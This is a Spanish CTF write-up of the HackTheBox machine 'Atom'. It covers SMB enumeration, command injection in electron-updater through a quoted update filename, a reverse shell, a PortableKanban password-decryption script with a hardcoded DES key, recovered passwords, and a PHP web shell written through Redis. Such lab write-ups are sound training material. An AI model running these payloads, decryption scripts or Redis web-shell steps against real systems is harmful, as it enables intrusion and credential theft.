Atom presenta una aplicacion Electron. Explotamos una vulnerabilidad en un modulo de actualizacion que permitio ejecutar comandos a través de un archivo de actualizacion y acceso al servidor de actualizaciones. Obtuvimos credenciales a través de Portable Kanban lo que nos dio acceso a Redis donde encontramos la contraseña del administrador. Tambien, por medio de Redis escribimos una web shell que nos dio acceso privilegiado.
La aplicacion solo crea y elimina notas, y al iniciar busca actualizaciones.
HEED CODE
Utilizando npx con al archivo app.asar logramos obtener el codigo fuente, no encontramos direcciones de base de datos, la aplicacion solo funciona de forma local y temporal en cuanto a la informacion.
1
2
# extract
npx asar extract app.asar app_extract
Vemos que utiliza un modulo para “actualizar” la aplicacion: electron-updater - ^2.23.3.
1
2
3
4
5
6
7
8
9
10
11
12
{"name":"heedv2","version":"2.0.0","main":"main.js","description":"Open Source Application provided by HackTheBox","author":"MrR3boot","dependencies":{"electron-log":"^1.3.0","electron-updater":"^2.23.3","url":"^0.11.0"}}
ENUM SAMBA
CME
Utilizamos esta herramienta para obtener informacion del servicio de SAMBA con una sesion null, vemos los recursos compartidos, tenemos permisos en el recurso Software_Updates.
1
2
3
4
5
6
7
8
9
10
11
λ ~/htb/atom cme smb --shares atom.htb -u 'null' -p 'null'
SMB 10.10.10.237 445 ATOM [*] Windows 10 Pro 19042 x64 (name:ATOM)(domain:ATOM)(signing:False)(SMBv1:True)
SMB 10.10.10.237 445 ATOM [+] ATOM\null:null
SMB 10.10.10.237 445 ATOM [+] Enumerated shares
SMB 10.10.10.237 445 ATOM Share Permissions Remark
SMB 10.10.10.237 445 ATOM ----- ----------- ------
SMB 10.10.10.237 445 ATOM ADMIN$ Remote Admin
SMB 10.10.10.237 445 ATOM C$ Default share
SMB 10.10.10.237 445 ATOM IPC$ Remote IPC
SMB 10.10.10.237 445 ATOM Software_Updates READ,WRITE
λ ~/htb/atom
SMBCLIENT
Con smbclient logramos enumerar el recurso donde vemos un archivo pdf.
1
2
3
4
5
6
7
8
9
10
11
12
λ ~/htb/atom smbclient \\\\atom.htb\\Software_updates -u '' -p ''
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu May 6 02:17:47 2021
.. D 0 Thu May 6 02:17:47 2021
client1 D 0 Thu May 6 02:17:47 2021
client2 D 0 Thu May 6 02:17:47 2021
client3 D 0 Thu May 6 02:17:47 2021
UAT_Testing_Procedures.pdf A 35202 Fri Apr 9 07:18:08 20214413951 blocks of size 4096. 1262822 blocks available
smb: \>
El archivo es la documentacion del equipo de QA … menciona que antes de liberar una nueva version se realizan pruebas por parte del equipo, y para ello se debe de colocar en las carpetas de “cliente”, las cuales encontramos en el recurso Software_Updates aunque no especifica si es un archivo ejecutable.
Heedv1.0
Internal QA Documentation
What is Heed ?
Note taking application built with electron-builder which helps users in taking important
notes.
Features ?
Very limited at the moment. There’s no server interaction when creating notes. So
currently it just acts as a one-tier thick client application. We are planning to move it to a
full fledged two-tier architecture sometime in the future releases.
What about QA ?
We follow the below process before releasing our products.
1. Build and install the application to make sure it works as we expect it to be.
2. Make sure that the update server running is in a private hardened instance. To
initiate the QA process, just place the updates in one of the "client" folders, and
the appropriate QA team will test it to ensure it finds an update and installs it
correctly.
3. Follow the checklist to see if all given features are working as expected by the
developer.
JASON - USER
RCE - ELECTRON-UPDATER
Realizamos una busqueda de vulnerabilidades en Electron Updater y encontramos un post en el que explica que con un archivo .yml es posible ejecutar un exe y comandos, modificando la direccion url y path. En cuanto al exe, es decir v’ulnerable-app-setup-1.2.3.exe con una comilla simple se ejecutaría, por otro lado para ejecutar comandos se utilizan comillas dobles v';calc;'ulnerable-app-setup-1.2.3.exe.
Obtuvimos nuestra shell con el usuario Jason y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
λ ~/htb/atom nc -lvp 1338
listening on [any]1338 ...
connect to [10.10.14.18] from atom.htb [10.10.10.237]61151
Windows PowerShell running as user jason on ATOM
Copyright (C)2015 Microsoft Corporation. All rights reserved.
PS C:\WINDOWS\system32>whoami
atom\jason
PS C:\WINDOWS\system32> type C:\Users\jason\Desktop\user.txt
13b9e357b45b1e0b0ff69bb4a5ee573c
PS C:\WINDOWS\system32>
PRIVILEGE ESCALATION
PORTABLE KANBAN
Enumerando las carpetas del usuario Jason encontramos PortableKanban, en el archivo de configuracion PortableKanban.cfg encontramos una contraseña encriptada.
Además encontramos un exploit con el cual logramos obtener en texto plano la contraseña.
1
2
3
4
5
6
7
8
9
10
# Exploit Title: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
import base64
from des import * #python3 -m pip install des
def decode(hash):
hash= base64.b64decode(hash.encode('utf-8'))key= DesKey(b"7ly6UznJ")return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')
print(decode("Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb"))# kidvscat_yes_kidvscat
REDIS
Utilizamos la contraseña con redis-cli ya que existe el puerto 6379 abierto, encontramos una contraseña encriptada en una de las KEYS del “usuario” Administrator, utilizamos nuevamente el exploit para obtener en texto plano.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
λ ~/htb/atom/wwww redis-cli -h 10.10.10.237 -a "kidvscat_yes_kidvscat"
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.10.237:6379> ping
PONG
10.10.10.237:6379> keys *
1)"pk:ids:MetaDataClass"
2)"pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
3)"pk:ids:User"
4)"pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
10.10.10.237:6379> get pk:ids:MetaDataClass
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.10.237:6379> get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
"{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"
10.10.10.237:6379> get pk:ids:User
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.10.237:6379> get pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff
"{\"Id\":\"ffffffffffffffffffffffffffffffff\",\"SchemaVersion\":\"4.2.0.0\",\"SchemaVersionModified\":\"\\/Date(1617420120000-0700)\\/\",\"SchemaVersionModifiedBy\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"SchemaVersionChecked\":\"\\/Date(-62135596800000-0000)\\/\",\"SchemaVersionCheckedBy\":\"00000000000000000000000000000000\",\"TimeStamp\":637530169345346438}"(0.54s)
10.10.10.237:6379>
Verificamos con crackmapexec, vemos que es la contraseña de Administrator y tenemos acceso completo.
1
2
3
4
5
6
7
8
9
10
11
λ ~/htb/atom/wwww cme smb -u Administrator -p "kidvscat_admin_@123" --shares 10.10.10.237
SMB 10.10.10.237 445 ATOM [*] Windows 10 Pro 19042 x64 (name:ATOM)(domain:ATOM)(signing:False)(SMBv1:True)
SMB 10.10.10.237 445 ATOM [+] ATOM\Administrator:kidvscat_admin_@123 (Pwn3d!)
SMB 10.10.10.237 445 ATOM [+] Enumerated shares
SMB 10.10.10.237 445 ATOM Share Permissions Remark
SMB 10.10.10.237 445 ATOM ----- ----------- ------
SMB 10.10.10.237 445 ATOM ADMIN$ READ,WRITE Remote Admin
SMB 10.10.10.237 445 ATOM C$ READ,WRITE Default share
SMB 10.10.10.237 445 ATOM IPC$ Remote IPC
SMB 10.10.10.237 445 ATOM Software_Updates READ,WRITE
λ ~/htb/atom/wwww
WINRM
Por alguna razon el puerto de winrm no apareció en nmap, utilizamos este ultimo puerto para obtener una shell y nuestra flag root.txt.
Tambien mediante Redis logramos ejecutar comandos, modificando la configuracion de redis para escribir una web shell, similar a Postman - HTB.
1
2
3
4
5
6
7
8
9
λ ~/htb/atom redis-cli -h 10.10.10.237 -a "kidvscat_yes_kidvscat"
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.10.237:6379> config set dbfilename redis.php
OK
10.10.10.237:6379> settest"<?php echo(system($_GET['cmd'])); ?>"
OK
10.10.10.237:6379> save
OK
10.10.10.237:6379>
λ ~/htb/atom/wwww curl -sX GET "http://atom.htb/redis.php?cmd=whoami%20/all" -o out.txt; cat out.txt
REDIS0006
pk:ids:User$e8e29158-d70d-44b1-a1ba-4949d52790a0�9pk:urn:metadataclass:f-@�ff��J{"Id":"f�","SchemaVersion 24.2.0.0�Modifie@T\/Date(1617420120 -0700)\/�6By Ze8e29158d70d44b1a1ba4949d52790a�sCheck�r -621355968 r@t �
t7`s !� TimeStamp":637530169345346438}test$
USER INFORMATION
----------------
User Name SID===========================
nt authority\system S-1-5-18
GROUP INFORMATION
-----------------
Group Name Type SID Attributes====================================================================================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label S-1-16-16384
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State===================================================================================================================
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
52790a0","Name )29158-d70d-44b1-a1ba-4949d52790a0���{"Id":"e8e29158d70d44b1a1ba4949d
Email Administrator Initials
ncryptedPasswor@fOdh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi ARol�f Inactiv f de,"TimeStamp":637530169606440253}pk:ids:MetaDataClass�$ff-@�ffs-key$[ ... REDACTED ... ]
�
λ ~/htb/atom/wwww
REDIS PROCESS
Con la shell que obtuvimos con WINRM encontramos que redis-server esta siendo ejecutado por el administrador y es por eso que logramos ejecutar comandos privilegiados en REDIS TO ROOT.